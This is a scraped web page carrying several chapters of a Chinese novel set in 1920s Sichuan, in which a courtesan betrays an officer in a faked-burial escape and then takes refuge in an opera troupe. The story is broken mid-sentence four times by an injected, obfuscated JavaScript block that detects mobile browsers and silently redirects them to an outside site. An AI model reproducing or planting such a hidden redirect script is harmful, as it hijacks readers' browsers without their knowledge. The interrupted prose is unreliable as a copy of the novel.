“我......我绝不会将你说出去的。”她轻轻把下巴搁在他肩头,“就说,是清道夫......哎......我不回去了!我从此就跟着你。” 仿佛是在决定明天吃什么一样,她决定不回去了。年龄在霍眉脸上是模糊的,她是个女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15003769|161887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人,黑瞳中却存有女孩的稚气、脆弱与纯灵,此刻如暗夜中的潮水般向他涌来。纯棉睡袍的肩部也被她的头发沾湿,打通了皮肤与外界的感知通道,他先是感觉到冷,然后又感觉到她脖颈的温热。 范章骅想起来,霍眉是水。 当然不是出自“女儿是水做的”这个说法。起因是有天两人在街上闲逛,看到个算命的摊子,霍眉非要去算。老先生先问了她出生年月日,又问了姓名,说道:“你五行缺水,眉字是属水的,寓意也好,漂亮。可见家人取名是用了心的。但霍字本就属水,不必补了,反倒弄巧成拙,给你弄出个涝灾来!” 回去的路上范章骅给她取了个外号——“霍水”,谐音祸水;霍眉听着笑了笑,却明显不在状态。 “生气了?”他凑过去道,“不是坏词,捉弄你而已。” 霍眉钻到他怀里拱了拱,“哪能啊。我是刚刚知道,妈老汉儿给我起名字是用了心的。”随后又涓涓源源淌出眼泪。范章骅连杀人都不眨眼,此刻居然情真意切地心疼了这个女人几秒钟。涝灾,真是涝灾,他想,把我都给淹死了。 眼下形势紧张,他不是单纯因为怜香惜玉而救她过来的,更需要一个与王茂山军阀毫无瓜葛、完完全全的局外人来帮助自己脱身。但与霍眉说了这么些话,他又觉得不是那么着急了,至少不忍现在和她谈计划。霍眉靠着他,于是困倦的水也攀上来,捂住他的眼睛。 这些天范章骅始终睡不安稳,一点动静就醒,所以楼下的噪音真是扰的他不胜其烦。而今夜身上压有女人香沉的体重,他感到安心,居然一觉睡到了天亮,睁开眼看到的就是霍眉安静的脸。 他依然不急,唤醒她后,先一同吃了早饭——药店老板提供的面包,这才开口道:“我需要你帮个忙。” “好。” “好什么好,”范章骅笑了,“先听我说完,看能不能做到。这几日孙珍贻部队枪决了很多残部,还有在战斗中死伤的士兵,都堆在旧火车站边上。你知道那里吧?火车站废弃后,那里就总用来堆放尸体,没有亲属认领的,三日后拖到城外掩埋。我们要装作认尸的夫妇一同进去,我混入尸体中,你一个人出来——随便扯个什么谎,说我去方便了或者自己害怕先出来了,都可以,他们不会严查的。” “最关键的一步是,在运尸车出城之前,你也要出城,等人走后及时把我挖出来。有点吓人是不是?但王传立他们都过不了城门口的检查,只有你可以。” “但是等警察埋完人后全部走光,怎么也要一段时间。”她脸色变得煞白,“没人认领的尸体是直接埋的,连棺材都没有,一被埋下去立刻就窒息了。” “他们会用草席裹住尸体,到时候我会用胳膊撑着草席,给自己留下空间的。” 他在心里稍微估量了一下,两分钟内就会失去意识,如果十分钟还没被挖出来可能救也救不过来了。霍眉同样意识到了有多冒险,眉头微微蹙起,“我......我不想你这样。” 范章骅握住她的手腕,“别无他法了!所以霍眉,你要快,懂不懂?” 5. 黄雀 两人又把计划复盘了几遍,期间霍眉一副被吓傻了的样子,但你问她问题,她反应也很快。王传立在一旁默默听着,范章骅起身去换衣服时,他跟进了房间,“副官,脱身之计还是从长计议吧。这里还能住一段时间,我觉得那个女人不靠谱。” 霍眉在客厅说:“你声音很大欸。” 王传立尴尬地背过身去,望向天花板。 范章骅扣好最上面一颗扣子,没理会,戴好帽子和眼镜后挽上她的手出门了。楼道狭窄幽长,皮鞋跟敲在地上噔噔响,她忍了一会儿,轻声道:“其实他说的对。事关你的安全,我什么保证都不敢做。” “我不能信任你吗?” “但这不是信不信任的问题,是我做不做的到,我真怕......” 他突然伸手捏住她的下巴,俯身亲了她的嘴唇。再下几级台阶就到药店一楼了,清晨的阳光从尽头处照进来,形成清晰的光柱,就停在他们前面一步的地方。 “做不到,那就把我的尸体挖出来抱一会儿。”范章骅的笑道,“死何足惜啊。” 她呆愣片刻,踮起脚来回吻了一下,抓起他的手向前走去。 他们叫了一辆黄包车,很快就拉到旧火车站门口。 说是火车站,其实没正经跑过火车,因为地势原因,想要在四川真正建起一条铁轨很困难。这火车站临着山,山中有煤矿,前人便建了这么一小截铁轨,只能把煤从山里运到站上,再由人力运到码头,向外出口。巴青虽是个小城,却胜在四通八达,在物流、住宿等产业上还算是发达。 火车站破败的不成样子,只能勉强看出个框架;里外都是杂草丛生,因为常年堆放尸体,腐臭味儿弥散。原来售票处的墙壁也倒了,只剩个铁棚子挡阳挡雨,下面坐着两个抽烟的警察。 范章骅在远处站着,不方便靠太近。霍眉便去跟警察说来认表舅的尸身。 其中一人递给她一本线装登记册,需要在上面登记认尸人姓名、死者姓名。除了“霍眉”,她就只会写“霍振良”了,但此刻无论如何也不想把弟弟的名字写在“死者”那一栏。便结合上面一个死者的姓和上上上个死者的名,抄在了霍眉旁边。 警察看了一眼,收了一元大洋就让他们进去了。死去的士兵何其多,他们也不知道具体叫些什么名字。 两人走了一段路,过了一条铁轨。铁轨锈蚀严重,且因为比两边的月台地势低,积攒了不少污水,俨然成了一道阴沟。霍眉脸都被熏绿了,只见范章骅冷静地检查不同站台上陈列的尸体,找到了腐烂程度最严重的一堆,又脱下褂子和长裤塞进霍眉的手提包中,将地上的血污往身上抹。 抹好后,随手抽了个草席出来裹住自己,对她道:“帮我系紧。” 霍眉颤颤巍巍地从地上捡了根绳子,绕着草席两圈给他绑上,又整理了下草席,确保遮住每一寸完好的肌肤。做完这一切后,扭头跑到铁轨边呕吐起来。 范章骅已经躺在了死人堆中,脸色同样不好看。他被草席束缚住手脚,躺下就不能起来了,因此无法看到霍眉在干什么,此刻心绪复杂,也懒得去看。 但是霍眉的脸很快就出现在了视野中。她擦干净了嘴,跪在他身边,让他看清自己。 “被埋的时候,呼吸要放缓,不要紧张。”她声音都在颤抖,但为了让他放心,勉强扯出一个笑,“我一直在的。” 出去的时候霍眉甚至没对警察做任何解释,他们也没问。她长长吁出一口气,快乐地想在街上跳舞,随即又想起来:那一块大洋是老子垫的!连忙将手伸入包中,摸索范章骅那件褂子的口袋。 她摸到了......五块大洋! 一瞬间霍眉颤抖着“啊”了一声,觉得自己的快乐到达了巅峰,当机立断叫了辆黄包车,一路坐去荣顺茶馆。李五爷正坐在里面看报,面前倏忽就闪出个人影开始说话。原本袍哥只想让霍眉把人引出来,他们再设计杀人,作为送给孙珍贻的见面礼;没想到霍眉超额完成任务,已然将范章骅的性命捏在了手里。 李五爷站起来,将“歇业”的拍子挂到门口,然后上楼打了个电话。陆续来了六个男人,衣着简朴,在茶馆内吵吵闹闹聚成一团;霍眉知道事未毕前他们是不会放自己走的,心态倒也平和,挑了个角落的桌子坐下。 伙计很有眼力见,上了一碟瓜子。 午饭也是伙计从外面买来的,麻婆豆腐饭,很合霍眉的心意。等大家吃完饭五爷才说出那句“出发”,八人分成两辆车向城门口驶去,霍眉仍然坐李五爷的副驾驶。车内仍然是死一样的寂静,后排那两个袍哥也不敢向李五爷搭话。 东门的警察搜了他们的车,见确实没藏人后,很客气地向五爷问了好。填尸坑早已挖好了,深而宽阔,像土地张开的巨口;他们将车停在坑边的灌木林之后,仍坐在车内等。 霍眉知道轮不到自己把控大局,脑袋一歪,靠着车窗睡着了;其余人则密切盯着门口的动向,看完了运尸车出城、倾倒尸体、掩土、回城的全过程。又等了快半个小时,李五爷敲了敲方向盘,叫醒了她。 其余袍哥都下了车,掏出铲子开始挖土;霍眉站在地势较高的坡上,背靠一棵树。郊外明显比城里凉快许多,她被风吹得舒服,抬眼望天,只见漫天都是孤岛一样的云彩,随风漂流,移动地很快。 希望死亡也舒爽如这个有风的傍晚。 突然有人大声说话,隔得太远,她听不清内容;接着李五爷就向她跑来。霍眉不明所以,刚离开树干走了两步就突然被从后面箍住腰,沉甸甸的金属管口抵在了她的下巴上。 她刚刚被范章骅捏住、亲吻过的下巴。 所有袍哥瞬间爬出枪对准这边,与此同时,东门重新打开,运尸车上的警察又纷纷跳下来掏枪对准袍哥的后背。 “就这么想要我的命?”身后熟悉的声音说。 如果说刚被用枪抵住时她还心存几分希望,听到范章骅的声音,一颗心是彻底掉进了胃里,被胃液呲啦呲啦地灼伤。情急之下,她用过分大的音量笑了起来,冲李五爷喊道:“瞧见没?绑走我也没用,人家仍然有办法脱逃!这就是你押我来的目的?亲眼看看他多有本事?” 李五爷冷哼一声:“卿本佳人,奈何与贼同谋?我也不愿每次带走你都用强的。” 见他反应这么快、这么配合自己,霍眉都快感动哭了。事实是她真的快哭了,被枪口抵住还是第一次,死神就躺在里面,随时准备欢蹦出来。而她算个什么人物呢?拿钱帮袍哥办事,事还办砸了,李五爷完全可以不管不顾地直接朝范章骅射击,自己的死活何足轻重啊。 可是五爷没有。他没有。他怜惜这条贱命。 范章骅总算开口道:“我记得王将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15003770|161887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 军的部队是巴青城历史上与袍哥最亲近的,一直以来,我们都相处得很好。为何要落井下石?” “欺骗一个冒险帮你的女人,勾结军警,你又作何解释?现在的军警是孙珍贻的人吧?”李五爷不疾不徐地开口,声音低沉而响亮,立刻镇住了场面,“袍哥可以选择与谁结交,军人却不可以事二主啊。你也知道王将军与哥老会亲近,破城的前一晚,他传密信给我们三爷说,他怀疑——” “怎么说话的?在巴青城当地头蛇当惯了,分不清大小王了?”范章骅拿枪敲了两下霍眉的颌骨,忽然再也不提起王茂山这个人了,“孙大帅最恨民间组织,明日便要清剿你们。” “——你要算账,可以,霍小姐是无辜的。”李五爷喝道,“把她放了!” 范章骅摩挲着她的腰部,没说话,然后砰的一声不知道谁的枪就响了。霍眉脑中一片空白,只感觉自己被推了出去、扑倒在地,便连忙向城门口爬去;而双方交战激烈,谁都没有注意到她。 无足轻重的小人物,死了没好处,活着不碍事。 手掌和膝盖很快就磨破了,她不敢停下。头顶是密如织网的流弹,不断有人痛呼着倒下。东门口的警察全都冲到填尸坑边上去了,城门无人值守,她站起来,向城内飞奔。无数的问题在脑海中尖叫:范章骅信了这套说辞没有?会报复我吗?袍哥会让我把钱退回去吗?会报复我吗? 距离太远了,她跑跑走走、走走停停,直到深夜才回到怡乐院,脚上的水泡破了又生出新的。田妈被猛烈的锤门声吵醒,闻声而去,看到了衣物凌乱、面色惨白的霍眉,头发也散了,被汗水糊在脖子上。 她心下一惊,料想是惹了祸事,没给霍眉开门。霍眉再无力站立,跪倒在门口,将情况一五一十和她讲了。“妈,他们之间打完就要向我寻仇来了!” 田妈即刻掉头回屋。霍眉还以为她就将自己关在外面再不管了,大声惊叫起来;但没一会儿田妈又重新出来,将一个小包袱和一张纸隔着栅栏递给她。 包袱里装着她所有的细软,纸上什么字她不认得。 “在这里签上你的名字,”田妈指着说,“你的赎身价是二百四十六块,现在付不起,就先给我打个欠条。月息一分二厘,十年内没有还清,我会找人去催债。” 霍眉呆呆地看着欠条,“那我——我去做什么?” “只要不再来祸害我的怡乐院,你爱做什么做什么去吧。” 她仍然没有下笔,“抹个零头,二百四十块吧。妈妈,我在怡乐院这么多年,也算是为你赚了很多钱吧?” 田妈妈绷着脸修改了几个字,再递给她,霍眉便签了。两人一句告别的话也没说,朝着两个相反的方向走去。她真的要走不动了,脚实在太疼;又怕范章骅打完了仗,正在满城搜找她。现在不管找什么工作赚得都不会比当妓女的时候多,二百四十块到底该怎么赚?怎么办?我怎么办? 鼻血毫无征兆地流了出来。她在包袱里摸索一阵,没摸到手帕,鼻血已然把衣服、鞋还有包袱全弄脏了。这件旗袍是丝绸的,不能用胰子洗,也不能大力搓。 于是她一屁股坐在地上大哭起来,哭着哭着,一只骨瘦伶仃的手突然伸过来,在她眼前晃了晃。 霍眉一秒切入战斗状态,收住眼泪,恶狠狠地抬起头。席玉麟居高临下,冷冷道:“还钱。” 6. 交恶 这里居然是漱金戏楼门口。 霍眉真从包袱里掏出一块大洋还给他。席玉麟一愣,没想到她这么爽快,看到她满脸鼻涕眼泪,掏了条手帕递过去。 “我被怡乐院赶出来了。”她抽抽噎噎地说,接过手帕堵住鼻子,“没地方去了。你们缺人吗?打扫的、洗衣服的、招徕客人的或者在戏台子下面卖饮料,我都能做。我救了你一命你不能不帮这个忙——” 席玉麟心中冷笑,又瞧她实在可怜,道:“我做不了主,需得明早去问班主的意思。收容你一晚倒是可以。”言罢向大门口走去。霍眉在后面叫:“背我一下。” “你还蹬鼻子上脸了?” 霍眉掀开旗袍下摆,赫然是一双四寸小脚。 民国成立初期,四川各级政府对禁止妇女缠足的工作较为积极;但进入防区制时代后,缠足风俗又故态复萌。1926年,随着北伐的进展,四川各军纷纷易帜为国民革命军,防区制制度却仍然存在;表面上有了统一的国民政府,事实上各区大权仍由军阀掌控。所以说尽管国民政府多次颁布禁令——例如控制川北的二十九军——并成立宣传队下乡演讲、劝告,处于他军地盘上的女子仍对新风气一无所知。 她这双脚虽没有小成三寸,但几乎不妨碍生活,在疼痛最甚的发育期也能支撑她陀螺似地忙活家务,霍眉觉得还挺不错。但男人们就不好伺候了,是他们说妇女小脚更好看的,也是他们抢在妇女前面读了书、接受了新思想,反过头来还要把小脚妇女打入“旧”的范畴中,像嫌恶旧社会一样嫌恶她们。 所以霍眉一般都要先观察一下男人们见到这双脚的反应,再决定在此人面前是将脚遮起来,还是时不时露给他看看,做出行立不稳、弱柳扶风之态。 席玉麟自然不在她的讨好范围内,此刻霍眉把脚露出来,只是想告诉他:老子真走不动了!不料他脸上流露出“看见猎物”和“看见畸形”之外的第三种表情——以霍眉有限的文化水平形容不出来——好像在他身上,突然发生了一场她的疼痛。 他抿了抿嘴,背起她往回走;霍眉顺势就把鼻血全蹭他背上了。上次见他穿的是旦装,这次的戏服却是生装,忍不住问道:“你不是唱旦角的吗?” “以前是唱旦角的,三年前改做武生了。那天穆师妹不在,便替她演了一场。” “你是武生啊?那怎么还被人欺负了,打不过也跑得掉吧。” 席玉麟果然气急败坏起来,“五个人压着你,你有本事跑?我警告你这话不要在我师兄弟姐妹面前说——” “五个人?” 托住她大腿的手松开了,霍眉直接从他背上掉下来,尾椎骨着地,疼得短叫了一声。席玉麟生气到极点的时候面无表情,转过来,一字一句地说:“不好笑。” 她本就身心交病,脑中一根弦在压力中紧绷着、脚也痛得要死,现在被这个莫名其妙的席玉麟一摔,火气立刻窜上来了。什么毛病?过去在怡乐院时,大家相处的方式也就是互相讥讽、呛声、开下流玩笑,有来有回的,不怎么闹红脸。怎么女人说得,男人反而说不得了? 他席玉麟是什么尊贵的人吗? “我他娘的就是个无聊的人,连着演了三天戏,现在一秒都演不动了。”她的表情也变冷了,“你装什么清高?一个卖笑的,又没本事,气性还这么大?” 他指向大门口,“滚。” 霍眉没搭理他,捡起包袱,一瘸一拐地去了柴房。这是班主的地盘,不是他席玉麟的地盘。就算把席玉麟给得罪穿了......明天太阳升起来,她有了精神,自有办法叫班主收下她。 班主名叫席芳心,剧团里几个姓席的都是他捡来的孤儿,年逾五十,早年时在巴青很出名——当然是以美出名。霍眉盘好头发、穿好衣服,笑吟吟地将装有珍珠点翠簪的木盒递上去,“漱金与怡乐院只有一街之隔,我早想来拜访班主了,如今才得了空。” 那簪子是清朝垮台的时候从皇宫中倒运出来的,价值斐然,范章骅拍下来送给她做生日礼物的。 席芳心的头发已然稀疏花白,但仍留得很长;脸是瘦的,还能看出几分年轻的样子,四肢也纤细,不知为何就是肚子大,肉都被太师椅两边的扶手挤得堆起来。他果然识货,把玩片刻,不紧不慢道:“你要什么?” “前几日打了仗,不知有没有造成漱金的人员损失?若是有空位的话,我想来你手下做事。” “漱金确实有人失踪了。”他道,“一个后台。你从怡乐院出来了?” 霍眉想起席玉麟身边那具尸体,估计就是她了,无声无息地被警察拖走、掩埋。“是,从良证书过几日就会发下来。” 席芳心不说话了。妓女按品貌才能分为四个等级,不同等级向政府纳的税都不同,而霍眉是怡乐院唯一的一等妓女,整个巴青城总共也就六位一等妓女......田妈不可能无缘无故地放她离开。如果霍眉身上没什么麻烦事,没必要送礼给他,她漂亮、娴熟、能干活儿,领管理戏服的工资都是大材小用了;既然礼物送出来了,寓意也很明确——收下我,别问。 “你不方便出门?” 她微微点了点头。 “漱金管三餐住宿,每月工资三银元。你觉得可以的话,晚上来我这里签合同。”言罢他朝外喊了几声,喊了个在大门口值班的小孩子进来,又吩咐道:“把席秉诚叫来。” 席秉诚是个光头,中等身材,光从走路的姿势便能看出是个爽利人。他跨进门槛后先响亮地喊了声“师父”,行了个礼,又望向霍眉,“这位是怡乐院的霍小姐?” “以后她就是后台了,你领她去吧。” “是!” 席秉诚带她在漱金里走了一圈,熟悉各个建筑。食堂就是多摆了几条长桌长凳的厨房;厕所还要供观众使用,所以有隔间;澡堂和开水房是一处,把门关上,钻进木桶里就可以洗澡了;练功房就只有光秃秃的五面墙,里面空间很大,摆了很多器械。 最后来到戏楼里。内部通体漆黑、栏槛疏清,二、三楼都有包厢,层层叠叠地向戏台压来;悬吊的宫灯裹着老迈的昏黄色,在穿堂风中打着旋儿。舞台古朴、方正,霍眉站在上面,看见凉白的阳光从隔扇门上段的回纹窗棂间漏出来、铺在地上,越拖越长,只觉得麻线般的愁绪已经攀上心头。 她忍不住道:“你们这里是不是风水不好,我站在这里就想上吊。” 席秉诚哈哈笑起来,“这里光线不好,后台人味儿足些。”说着引她到了后台,后台既是候场室、化妆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15003771|161887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 室,也是她工作的地方,三排木架子上密密麻麻挂着戏服。 原来他说的“人味儿”是指汗臭味。 “你可以像他们一样叫我大师兄。”建筑介绍完了,席秉诚领她来到练功房门口,指着其中一个女子说,“她和我是同时被师父收进门的......不过这个‘收进门’不太一样,我那时还是个婴孩,被捡来的;她十多岁,自己投进来的。不管怎么说,辈分上就算作一样了,她叫王苏,是大师姐。” 练功房其实就是个毛坯房,用木头搭出个大而高的框架,里面什么都没有,就铺了一层快被磨穿的软毯子;沿墙钉了一排把杆,四角堆了道具、器材。顶上扯电线吊了几个灯泡,蚊蝇围着嗡嗡飞。 大师姐正在摸鱼,挂在把杆上发呆。 她的脸骨骼感很强,眉弓、鼻梁和颧骨都在灯光下分明,因为这个缘故,眉毛压着眼窝,显得性子很烈。眼头眼尾都是尖的,还略略上挑,平添几分媚气,中和了骨相的冷硬。 纵使霍眉见过不少模样标志的小美人,还是要说,王苏漂亮的像个风情灼灼的妖怪。 “大师姐比谁都要好看些。” “哈哈,我们这里的女娃儿都好看。” 霍眉瞧了他几眼,笑了:“你喜欢她。” 席秉诚没听见似的,“然后那个脸上绑了胡子的叫刘靖,老三,慢性子,脾气好的很;旁边的小帅哥叫席玉麟,诶诶诶——” 席玉麟听到有人喊自己名字,回头看到她,极尽厌恶地挪开了眼睛。 “他就是这个臭脾气,不用理他。”席秉诚继续介绍,“压腿的那个叫穆尚文,是我们的小师妹。” 穆尚文虎头虎脑的,臂膀浑圆,眼睛很大,是那种一看就招人喜欢的福相。 还有许多小孩在排队踢腿,目前只算是学徒,还不算席芳心的入室弟子。四周咿咿呀呀的练嗓声不断,霍眉本也不爱听戏,听着闹心,便与席秉诚打了个招呼回化妆室了。她知道那句“领她去”的意思是领她去后台,而非领她去转一圈,因此格外道了谢。 平常来说,戏班子的生旦净末丑每行都有好几个演员,还有班主、领班、管事、催戏人、看座等等职位;戏台却是不固定的,需要班主提前和戏馆协定好,再带着人去赶场子,很少会自己搭台子。漱金二十多年前在巴青城如日中天,以两位旦角大师——席芳心和刘洪生闻名,财力雄厚、座不应求,干脆买下了戏楼做资产。 两人闹翻也就是几年前的事,还因此打了场官司。最后刘洪生带走了绝大部分才俊弟子;席芳心分得了戏楼,能上台的演员却就剩那么几个,还要兼任各种杂活,导致漱金迅速衰落下来。 霍眉对此倒没什么意见,有工资就好了。况且她现在最迫切的需求是躲起来,除了席芳心外,她不知道拿根古董簪子还能打动哪家的话事人。 分别后她做的第一件事便是打水洗澡,大白天的,没人跟她抢开水房;换上一套舒适朴素的衣裤后,回到化妆间,将储物柜下的药箱拖出来。 这也是席秉诚刚刚介绍过的,唱戏免不了跌打损伤,临时药物一应俱全。她拿医用棉团蘸着碘伏,处理了身上各处的擦伤、脚底的水泡,药品在常年混战的四川价格高昂,即使是别人的,她也用得很节俭。 7. 求信 签合同的时候席芳心就简单介绍了一下后台负责的事务,其他的什么都没嘱咐。但几天下来,霍眉已然把漱金的规矩摸清楚了: 早上六点起床,先列队喊嗓、绕圈跑,然后全体练基本功到八点,再练唱念到十点半;十二点戏楼开锣,有角色的便上台表演,没角色地继续练功,主要练身段、毯子功、把子功;晚上六点多散戏,吃饭后可简单休息片刻,然后排剧目到十一点收工。午饭是一个馒头,晚饭是米饭加一盆大锅菜。 比起在怡乐院的生活规律多了,她想,住个一阵子粉刺都要少长些。就是钱太少了。 她的工作也不算复杂,管理戏服、道具,打扫化妆室、戏台。漱金虽大,但诸多事务都是学徒负责的,在繁重的训练日常之外,他们得自己洗衣刷碗,轮流站岗,轮流打扫观众席,并且在需要苦力的时候随叫随到。因此,后勤人员就只需要两位,一个霍眉,一个做饭的张大娘。 还有一件发愁的事:家里不知道她的新地址。怡乐院里每个姐妹给家里的地址都是“旺喜洗衣店”,巴青城的邮局已经打过招呼了,知道这家根本不存在的洗衣店的信往哪里送。这下可好,家里叫她牵肠挂肚的信都到不了她手里。 霍眉不方便走到邮局去请服务生帮她写信知会新地址,只能先把信写好,再托人寄出去了。便因此找上了席秉诚。 席秉诚听罢,显得不太好意思:“不是不愿帮忙,只是我也不会写字......” “啊?”她奇道,“你是大师兄,你都不会写字,岂不是没人会写字了?” 席秉诚显得更不好意思了,“可以去找玉麟师弟,师父教过他。” 戏班的唱词都是口口相传背诵的,徒弟们没有识字念书的必要,席芳心懒得教也正常。只是越过开山弟子,偏偏费心教给了席玉麟,这便耐人寻味了。霍眉知趣地没问下去。 只是这下却麻烦了:求席芳心帮忙是不可能的,才刚来漱金,就劳动班主,实在说不过去;她是怎么都没预料到自己还有求席玉麟的时候。这几日碰到他的次数不多,就算碰到了,一来都忙,二来互相嫌恶,都像看到苍蝇似地匆匆躲开。现在请他办事肯定是不成的,她只能再等几日,捏住他什么错处再以此要挟了。 家里这段时间应该不会来信,除非钱用光了。刚寄过去五十块呢。 但是也说不定啊,振良现在住院花钱花得快,保不齐一下子就用光了。她想起父母在上一封信里讲弟弟如何突然发病、然后被驴车拉到镇上的医院抢救,又转院去成都的事情,一颗心就落不了地。打扫化妆室和戏台花了不少时间,把工作干完后,又用盆装了私人衣物出去洗。 不远处有朗朗念诵声传来。 她蹲在地上、弓着背有些累了,便将双臂搭在膝盖上,沾满皂角泡沫的双手悬在空中,抬头看天。欠着田妈的赎身钱还在一天一天涨利息,怎么办?单靠一月三块的工资肯定是不行的,得找些其他的活计做。 霍眉将衣服晾出去后就洗脸洗脚、回女生宿舍了。宿舍面积不大,摆了三排竹床,这一排的头和那一排的脚之间没多大距离。灯还没熄,小姑娘们挤在一起,时不时爆发出压低了笑声;王苏和穆尚文两个躺在一起闲聊,边上有个空位,是预留给她的。 她将自己的竹床稍微拖开了一点,靠着发霉的墙,也不靠着穆尚文的床。 穆尚文明显是看见了,小孩子藏不住情绪,立刻就发作了:“你是什么意思?” 霍眉瞥她一眼,“你乐意跟我贴着睡啊?” “我——”她突然停下来,感觉说“乐意跟你贴着睡”听起来怪怪的,但也没有不乐意,床本来就是这么摆的嘛!况且问这话是什么意思?倒像是谁挤兑了她似的。王苏支起上身,笑着说:“有什么不好的?都是下九流,以后还是要共同生活的姐妹呢。” 她的语气与外貌大不一样,柔柔的。 穆尚文这才反应过来,大声说:“是啊,没人嫌你脏的!” 在王苏立刻斥责“不要这样讲话”的同时,霍眉几乎笑出声。她不置可否,也没把床挪回来,盖上被子便背对她们睡上了。还穿着长衣长裤,也不嫌热,穆尚文心想。 一会儿熄灯了,王苏也不与她说话了。她伸长戳了戳霍眉的脊背,“哎,你睡着了没?” 霍眉一脸不耐烦地转过来,“有屁就放。” “你真的认识很多有钱人啊?他们开轿车接你出去玩?” 黑暗中她盯着穆尚文圆溜溜的大眼睛瞧了会儿,笑道:“岂止啊?都爱我爱到寻死觅活的,有个军官为了让我笑一下,叫他的部队把子弹当鞭炮放;还有几个人都同时说非我不娶,攀比谁送的钻戒更大,还因此打起来了!” “真的假的?” “假的。”她翻了个白眼,“真要这样,大家还不抢着当鸡啊。” 第二天早上六点又是锣声大响,姑娘们匆匆爬起来穿衣穿鞋、整理床铺,噼里啪啦地跑出去了。霍眉本没必要起这么早,但既然被吵醒了就起来算了,先去烧水,等学徒们排队洗漱完再去洗漱。 观众席已被学徒打扫完。等张大娘到的时候,盛满瓜子花生的玻璃碗和烟花缸都由霍眉代替摆好了,搞得她立刻看了一眼壁上挂的西洋钟:“哟,我还以为起晚了,等不及了呢!” “怎么会。”霍眉攥着个抹布插起腰,爽朗地笑起来,“我闲着也是闲着,活儿都做完了!” 其实没做完。 见观众还没来,张大娘也没事干,拉她坐下又塞了一把瓜子便摆起龙门阵来了,“偷偷嗑点儿,没问题的!小霍啊,以前是干啥子的?” 张大娘年纪大了,不像穆尚文她们对桃色新闻那么关注,不认识她。“以前在乡下种地的,那点儿钱不够糊口啊,就来城里打工了。” “哦哟,懂事啊。你这个年纪没许配人家啊?姑娘家的,一个人往城里跑多危险啊。” “没呢。嫁出去了就不好工作了,我孝敬父母还没孝敬够呢。” “哦哟!”张大娘狠狠拍大腿,“这孩子!你瞧瞧!长得还这么乖哦!” 又陪着闲聊了会儿,张大娘便敞开心扉,开始诉说自己那没用窝囊的儿子和娇气跋扈的儿媳,骂完这个骂那个,最后把远方姑婆每次做客都喜欢顺东西走的账都翻出来了。霍眉听得认真,也跟着骂,“你就是太善良了!就是操心的命 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15003772|161887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !若是换个狠心的便撂下这烂摊子不管了。” 张大娘一听有人知道自己就是个操心的苦命,只觉得找到了知音,激动的眼泪都出来了。正要继续说时,席玉麟不知道从哪儿冒出来,冷冷道:“假人头呢?” “收起来了。” “以前堆在地上好找的很,你一收反而找不到了。” 霍眉只能截住话头,跟着席玉麟走了。 戏台四角都有柱子,柱子外矮一点的地方,三面都有栏杆,翻过栏杆离地面还有一定的高度。席玉麟走到栏杆下面,手一撑直接翻上去了,掀开红缎绣花的门帘就直接回了后台;霍眉那双脚自然难以攀爬,得从侧门先出去,在外面绕大半圈,再通过楼梯回到后台。 昨日清理后台的时候,她踢开一摞翎子,就和那面目狰狞的假人头看了个对眼,吓得不轻。便觉得不能由着人头这样随意搁在地上,先是拿块红布包裹起来,又塞进柜子最上层的深处,现在不得不扒开前面的道具取出来。 席玉麟看她再把道具一样一样放回去,嘲讽道:“倒像是你砍下来的人头一样,生怕人找着了。” 霍眉翻了个白眼。 “热水也没换。”席玉麟撂下这句便走了,面对她的白眼,甚至懒得回应一个表情。 想起没写成的信,霍眉把溜到嘴边的叫骂又给憋回去了,老老实实跑到练功房拿起暖瓶,却发现水已经换成新烧开的、灌满了。 开水房里练功房并不远,席玉麟根本懒得来找她,发现暖瓶中还是昨夜的水便顺手换上了。找上她是因为实在找不到翎子。霍眉瞥了一眼场地中央反复排演一段动作的身影,意识到席玉麟真是恶心自己恶心到能不见就不见。 心中厌烦更甚。她来巴青城后交往的都是和自己同一阶层的人,大家都懂得把脊骨打碎,像虫一样往潮湿阴暗的石缝里拱,尽量不招来凌空一脚;还从未见过哪个穷人攥着一文不钱的自尊不放手。 真把自己当个人啊,席玉麟。 